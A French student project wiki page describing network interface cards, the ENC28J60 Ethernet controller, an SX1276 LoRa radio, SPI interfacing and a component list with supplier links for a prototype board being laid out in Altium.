=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
